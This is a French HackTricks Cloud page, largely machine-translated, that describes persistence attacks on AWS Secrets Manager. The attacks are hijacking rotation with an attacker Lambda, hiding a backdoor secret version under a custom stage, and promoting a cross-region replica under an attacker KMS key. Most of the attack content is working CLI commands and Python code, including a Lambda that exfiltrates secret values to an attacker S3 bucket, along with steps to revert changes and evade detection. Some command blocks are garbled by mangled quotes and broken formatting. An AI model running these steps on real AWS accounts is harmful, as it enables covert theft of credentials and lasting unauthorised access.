AWS - Secrets Manager Persistence
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Secrets Manager
Pour plus dâinformations, voir :
Via Resource Policies
Il est possible dâaccorder lâaccĂšs aux secrets Ă des comptes externes via des resource policies. Consultez la Secrets Manager Privesc page pour plus dâinformations. Notez que pour accĂ©der Ă un secret, le compte externe aura Ă©galement besoin dâaccĂ©der Ă la clĂ© KMS qui chiffre le secret.
Via Secrets Rotate Lambda
Pour faire la rotation des secrets automatiquement, une Lambda configurĂ©e est appelĂ©e. Si un attaquant pouvait modifier le code, il pourrait directement exfiltrer le nouveau secret vers lui-mĂȘme.
Voici Ă quoi pourrait ressembler le code dâune Lambda pour une telle action :
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
Remplacer la rotation Lambda par une attacker-controlled function via RotateSecret
Abuse secretsmanager:RotateSecret pour réaffecter un secret vers une attacker-controlled rotation Lambda et déclencher une rotation immédiate. La fonction malveillante exfiltrates les versions du secret (AWSCURRENT/AWSPENDING) pendant les étapes de rotation (createSecret/setSecret/testSecret/finishSecret) vers un attacker sink (par ex., S3 ou HTTP externe).
-
Prérequis
-
Permissions:
secretsmanager:RotateSecret,lambda:InvokeFunctionsur la attacker Lambda,iam:CreateRole/PassRole/PutRolePolicy(ou AttachRolePolicy) pour provisionner le rĂŽle dâexĂ©cution Lambda avecsecretsmanager:GetSecretValueet de prĂ©fĂ©rencesecretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage(pour que la rotation continue de fonctionner), KMSkms:Decryptpour la clĂ© KMS du secret, ets3:PutObject(ou egress sortant) pour lâexfiltration. -
Un SecretId cible (
SecretId) avec rotation activĂ©e ou la capacitĂ© dâactiver la rotation. -
Impact
-
The attacker obtient la(les) valeur(s) du secret sans modifier le code de rotation lĂ©gitime. Seule la configuration de rotation est modifiĂ©e pour pointer vers la attacker Lambda. Si cela nâest pas dĂ©tectĂ©, les rotations programmĂ©es futures continueront Ă invoquer la fonction de lâattacker.
-
Ătapes dâattaque (CLI)
- Préparer attacker sink et le rÎle Lambda
- CrĂ©er un bucket S3 pour lâexfiltration et un rĂŽle dâexĂ©cution trusted by Lambda avec les permissions pour lire le secret et Ă©crire dans S3 (plus logs/KMS si nĂ©cessaire).
- Déployer la attacker Lambda qui à chaque étape de rotation récupÚre les valeur(s) du secret et les écrit dans S3. Une logique minimale de rotation peut simplement copier AWSCURRENT vers AWSPENDING et la promouvoir dans finishSecret pour garder le service opérationnel.
- Réaffecter la rotation et déclencher
aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
- VĂ©rifier lâexfiltration en listant le prĂ©fixe S3 pour ce secret et en inspectant les artefacts JSON.
- (Optionnel) Restaurer la rotation Lambda originale pour réduire la détection.
- Exemple attacker Lambda (Python) exfiltrating vers S3
- Environnement:
EXFIL_BUCKET=<bucket> - Handler:
lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Abuse Secrets Manager version staging labels pour implanter une version de secret contrĂŽlĂ©e par lâattaquant et la garder cachĂ©e sous un stage personnalisĂ© (par exemple, ATTACKER) tandis que la production continue dâutiliser lâoriginal AWSCURRENT. Ă tout moment, basculer AWSCURRENT vers la version de lâattaquant pour empoisonner les workloads dĂ©pendants, puis le restaurer pour minimiser la dĂ©tection. Cela fournit une persistence backdoor discrĂšte et une manipulation rapide au moment de lâutilisation sans changer le nom du secret ni la config de rotation.
-
Exigences
-
Autorisations:
secretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage,secretsmanager:DescribeSecret,secretsmanager:ListSecretVersionIds,secretsmanager:GetSecretValue(pour vérification) -
ID du secret cible dans la Région.
-
Impact
-
Maintenir une version cachĂ©e et contrĂŽlĂ©e par lâattaquant dâun secret et basculer atomiquement
AWSCURRENTvers celle-ci Ă la demande, influençant tout consommateur rĂ©solvant le mĂȘme nom de secret. La bascule et le revert rapide rĂ©duisent les chances de dĂ©tection tout en permettant une compromission au moment de lâutilisation. -
Ătapes de lâattaque (CLI)
-
Préparation
-
export SECRET_ID=<target secret id or arn>
Commandes CLI
```bash # 1) Capture current production version id (the one holding AWSCURRENT) CUR=$(aws secretsmanager list-secret-version-ids \ --secret-id "$SECRET_ID" \ --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ --output text)2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value
âsecret-id â$SECRET_IDâ
âclient-request-token â$BACKTOKâ
âsecret-string {backdoor:hunter2!}
3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage
âsecret-id â$SECRET_IDâ
âversion-stage AWSCURRENT
âmove-to-version-id â$CURâ
âremove-from-version-id â$BACKTOKâ
aws secretsmanager update-secret-version-stage
âsecret-id â$SECRET_IDâ
âversion-stage ATTACKER
âmove-to-version-id â$BACKTOKâ
Verify stages
aws secretsmanager list-secret-version-ids âsecret-id â$SECRET_IDâ âinclude-deprecated
4) On-demand flip to the attackerâs value and revert quickly
aws secretsmanager update-secret-version-stage
âsecret-id â$SECRET_IDâ
âversion-stage AWSCURRENT
âmove-to-version-id â$BACKTOKâ
âremove-from-version-id â$CURâ
Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value âsecret-id â$SECRET_IDâ âquery SecretString âoutput text
Revert to reduce detection
aws secretsmanager update-secret-version-stage
âsecret-id â$SECRET_IDâ
âversion-stage AWSCURRENT
âmove-to-version-id â$CURâ
âremove-from-version-id â$BACKTOKâ
</details>
- Remarques
- Lorsque vous fournissez `--client-request-token`, Secrets Manager l'utilise comme le `VersionId`. Ajouter une nouvelle version sans définir explicitement `--version-stages` déplace `AWSCURRENT` vers la nouvelle version par défaut, et marque la précédente comme `AWSPREVIOUS`.
### Cross-Region Replica Promotion Backdoor (replicate â promote â permissive policy)
Exploitez la réplication multi-Region de Secrets Manager pour créer une réplique d'un secret cible dans une Region moins surveillée, la chiffrer avec une clé KMS contrÎlée par l'attaquant dans cette Region, puis promouvoir la réplique en secret autonome et lui attacher une resource policy permissive accordant à l'attaquant l'accÚs en lecture. Le secret original dans la Region primaire reste inchangé, offrant un accÚs persistant et furtif à la valeur du secret via la réplique promue tout en contournant les contraintes KMS/policy sur le primaire.
- Prérequis
- Permissions : `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- Dans la Region de la réplique : `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) pour permettre au principal attaquant `kms:Decrypt`.
- Un principal attaquant (user/role) devant recevoir l'accĂšs en lecture au secret promu.
- Impact
- Chemin d'accÚs persistant inter-Region à la valeur du secret via une réplique autonome protégée par un CMK KMS contrÎlé par l'attaquant et une resource policy permissive. Le secret primaire dans la Region d'origine reste inchangé.
- Attaque (CLI)
- Variables
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
- CrĂ©er une clĂ© KMS contrĂŽlĂ©e par lâattaquant dans la rĂ©gion rĂ©pliquĂ©e
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
- RĂ©pliquer le secret vers R2 en utilisant la clĂ© KMS de lâattaquant
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
- Promouvoir la rĂ©plique en tant quâinstance autonome dans R2
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
- Attacher une politique de ressource permissive au secret autonome dans R2
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
- Lire le secret de lâattacker principal dans R2
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

